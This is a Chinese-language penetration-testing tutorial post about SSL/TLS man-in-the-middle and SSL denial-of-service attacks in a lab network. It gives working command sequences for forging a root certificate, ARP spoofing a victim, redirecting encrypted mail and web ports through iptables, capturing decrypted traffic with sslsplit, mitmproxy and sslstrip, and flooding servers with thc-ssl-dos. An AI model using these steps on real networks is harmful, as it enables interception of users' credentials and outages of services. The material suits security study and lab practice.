zoukankan      html  css  js  c++  java
  • 小白日记53:kali渗透测试之Web渗透-SSL、TLS中间人攻击(SSLsplit,Mitmproxy,SSLstrip),拒绝服务攻击

    SSL、TLS中间人攻击

    SSL中间人攻击

    攻击者位于客户端和服务器通信链路中

    利用方法:

    ARP地址欺骗

    修改DHCP服务器 (存在就近原则)

    手动修改网关

    修改DNS设置

    修改HOSTS文件【高于DNS】

    ICMP、STP、OSPF

    加密流量

    中间人攻击前提  【以下某一条符合则可】

    1、客户端已经信任伪造证书颁发机构(安装其根证书)

    2、攻击者控制了合法证书颁发机构(控制CA服务器,为自己颁发证书)

    3、客户端程序禁止了显示证书错误告警信息 (程序员个人能力有限)

    4、攻击者已经控制客户端,并强制其信任伪造证书 (强制安装中间人的根证书)

    工具演示  【结合ARP地址欺骗】

    SSLsplit

    透明SSL/TLS中间人攻击工具

    对客户端伪装成服务器,对服务器伪装成普通客户端

    伪装服务器需要伪造证书

    支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击

    *****************************************************************************************************************

    伪造证书

    1、利用openssl生成证书私钥

    openssl genrsa -out ca.key 2048  【-out:输出为文件ca.key】

    2、利用私钥签名生成证书  【需填写些伪造证书的信息,尽量接近真实】{可通过上一章的openssl扫描目标站点得到颁发者的信息}

    openssl req -new -x509 -days 1096 -key ca.key -out ca.crt  【req:请求;-new:新的;-x509:格式;-days:有效期;-key指定私钥;-out:根证书】

    *****************************************************************************************************************

    正常情况下,中间人电脑没有路由转发功能

    启动路由

    sysctl -w net.ipv4.ip_forward=1  【修改配置文件中路由转发功能项的值】

    等价与 echo 1 > /proc/sys/net/ipv4/ip_forward

    Iptables端口转发规则  【将本机443端口接收到的流量转发到SSLsplit侦听的端口(SSLsplit)】

    iptables -L  查看规则设置

    iptables -t nat -L  查看nat表中的规则

    iptables -t nat -F  清空当前表规则

    #先检查80与443端口是否被占用  【如果有,则kill】

    iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 【#HTTP】

    【-t:指定表;-A PERROUTING:路由前生效;-p:指定协议;--dport:接受流量的端口;-j:指定处理方法(REDIRECT重定向);--to-ports:转发端口】

    iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 【#HTTPS】

    iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 【#MSA】

    iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 【#SMTPS】

    iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 【#IMAPS】

    iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 【#POP3S】

    iptables -t nat -L

    ARP欺骗  【win7为受害机】(被害者完全没察觉)

    arpspoof -i eth0 -t 192.168.56.103 -r 192.168.56.100【-i:指定网卡;-t:欺骗目标;-r:网关地址】

    (欺骗103,让其认为攻击机为网关)【发包(给103)不能停下】

    欺骗前:【注意:192.168.56.100与..56.102的物理地址】

    成功欺骗  【网关mac地址为..56.102的mac地址】

    启动SSLsplit侦听设定的端口

    sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

    【-D:详细信息;-l:记录连接信息-j:越狱根目录;-S:记录所有请求和接受数据】(需保证root目录中有test目录,其中有logdir目录)

    # 伪造成功

     通过被害机Win7访问https的网站,会出现“安全证书有问题的错误”,若点击接受,则链路被成功劫持,攻击机可嗅探传输的信息

    【在客户端访问攻击机时,sslsplit一瞬间将真实访问站点证书的真实信息收集记录下来,进行伪造浏览器中可查看的证书,以供用户查看】

    #在connect.log可查看连接信息

    #在test/logdir可查看传输数据  【使用grep命令筛选数据】

    #sslsplit会自动进行一定程度的解密,一般可查看到其数据信息

    #当安装过伪造的根证书之后,访问网站的适合,将无告警提示 

     

    Mitmproxy  

    前提:进行arp欺骗,但自动集成默认的证书

    缺点:只能在8080端口侦听,指定其他端口,会出现问题

    mitmproxy -T --host -w mitmproxy.log  【有类图形化界面;-w:指定的记录文件】

    SSLstrip  【强制受害者发送明文的数据到中间人的电脑,中间人再加密进行传输

    与前两种工具不同,将客户端到中间人之间的流量变成明文,但同样需要结合arp地址欺骗  【无需进行证书伪造】但可能会被发现

    sslstrip -l 8080

    【会自动生成sslstrip.log文件】

    SSL/TLS拒绝服务攻击

    对象:提供SSL安全连接的网站或服务  【占本机流量不大

    thc-ssl-dos

    原理:SSL协商加密对性能开销增加,大量握手请求会导致拒绝服务。

    利用SSL secure Renegotiation特性,在单一TCP连接中生成数千个SSL重连接请求,造成服务器资源过载

    与流量式拒绝服务攻击不同,thc-ssl-dos可以利用dsl线路(私人家用)打垮30G带宽的服务器

    一般性能的服务器平均可以处理300次/秒SSL握手请求

    对SMTPS、POP3S等服务同样有效

    thc-ssl-dos <des> <port> --accept  【--accept:强制添加的参数】

    对策

    禁用SSL-Renegotiation、使用SSL Accelerator

    【通过修改thc-ssl-dos代码,可以绕过以上对策】

  • 相关阅读:
    Spring(二) Spring装配Bean的几种方式
    Spring(一) Spring配置文件中classpath和classpath*的区别
    学习响应式编程 Reactor (5)
    学习响应式编程 Reactor (4)
    学习响应式编程 Reactor (3)
    学习响应式编程 Reactor (2)
    学习响应式编程 Reactor (1)
    学习Java 8 Stream Api (5)
    学习Java 8 Stream Api (4)
    Spring WebFlux 学习笔记
  • 原文地址:https://www.cnblogs.com/zixuanfy/p/6083246.html
Copyright © 2011-2022 走看看